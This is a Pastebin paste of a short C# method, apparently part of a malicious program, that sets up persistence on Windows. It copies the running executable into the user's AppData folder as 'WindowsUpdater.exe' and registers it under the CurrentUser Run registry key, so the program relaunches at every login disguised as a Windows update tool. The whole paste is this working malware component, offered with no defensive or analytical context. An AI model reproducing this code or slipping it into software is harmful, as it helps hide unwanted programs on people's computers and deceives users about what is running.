Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public void Persistance()
- {
- string filename = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WindowsUpdater.exe";
- if (!File.Exists(filename))
- File.Copy(Application.ExecutablePath, filename);
- RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- if (key.GetValue("WindowsUpdater") == null)
- key.SetValue("WindowsUpdater", filename);
- key.Close();
- }
Add Comment
Please, Sign In to add comment